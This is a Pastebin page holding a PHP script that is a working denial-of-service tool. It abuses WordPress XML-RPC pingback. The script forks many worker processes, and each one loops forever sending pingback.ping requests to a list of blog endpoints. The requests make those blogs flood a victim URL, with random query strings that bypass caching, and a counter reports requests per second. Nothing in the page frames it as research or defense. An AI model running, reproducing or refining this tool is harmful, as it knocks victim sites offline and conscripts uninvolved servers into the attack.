xttpx

arme

Jul 10th, 2017
11,237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 3.58 KB | None | 0 0
  1. <?php
  2.  
  3. function partition( $list, $p ) {
  4.         $listlen = count( $list );
  5.         $partlen = floor( $listlen / $p );
  6.         $partrem = $listlen % $p;
  7.         $partition = array();
  8.         $mark = 0;
  9.         for ($px = 0; $px < $p; $px++) {
  10.                 $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
  11.                 $partition[$px] = array_slice( $list, $mark, $incr );
  12.                 $mark += $incr;
  13.         }
  14.         return $partition;
  15. }
  16.  
  17. $part = array();
  18. $array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
  19. $childcount = $argv[2];
  20. $part = partition($array, $childcount);
  21.  
  22. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  23. shmop_close($shm_id);
  24.  
  25. if(pcntl_fork() == 0)
  26. {
  27.         $sem = sem_get(13377331, 1, 0666, 1);
  28.         $shm_id = shmop_open(23377332, "c", 0666, 1024);
  29.         $total = 0;
  30.         while(true)
  31.         {
  32.                 sem_acquire($sem);
  33.                 $number = shmop_read($shm_id, 0, 1024);
  34.                 $total += $number;
  35.                 $string = array();
  36.                 array_push($string, $number);
  37.                 array_push($string, " R/s ");
  38.                 array_push($string, $total);
  39.                 array_push($string, " Total Requests                              \r");
  40.                 echo implode("", $string);
  41.                 unset($string);
  42.                 shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
  43.                 sem_release($sem);
  44.                 sleep(1);
  45.         }
  46.  
  47.         exit;
  48. }
  49.  
  50. for($i = 0; $i < $childcount; $i ++)
  51. {
  52.         $pid = pcntl_fork();
  53.         if ($pid == -1) {
  54.                 echo "failed to fork on loop $i of forking\n";
  55.                 exit;
  56.         } else if ($pid) {
  57.                 continue;
  58.         } else {
  59.                 $sem = sem_get(13377331, 1, 0666, 1);
  60.                 $shm_id = shmop_open(23377332, "c", 0666, 1024);
  61.                 while(true)
  62.                 {
  63.                         foreach($part[$i] as $ip)
  64.                         {
  65.  
  66.                                 list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
  67.                                 $url = array();
  68.                                 array_push($url, $argv[1]);
  69.                                 array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
  70.                                 array_push($url, rand(1000000, 9999999));
  71.                                 array_push($url, "=");
  72.                                 array_push($url, rand(1000000, 9999999));
  73.                                 $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
  74.                                 unset($url);
  75.                                 $context = stream_context_create(array('http' => array(
  76.                                         'method' => "POST",
  77.                                         'header' => "Content-Type: text/xml",
  78.                                         'content' => $request
  79.                                 )));
  80.                                 @file_get_contents($service, false, $context);
  81.                                 sem_acquire($sem);
  82.                                 $number = shmop_read($shm_id, 0, 1024);
  83.                                 $number = intval($number);
  84.                                 $number++;
  85.                                 shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
  86.                                 sem_release($sem);
  87.                         }
  88.                 }
  89.                 die;
  90.         }
  91. }
  92.  
  93. for($j = 0; $j < $childcount; $j++)
  94. {
  95.         $pid = pcntl_wait($status);
  96. }
Add Comment
Please, Sign In to add comment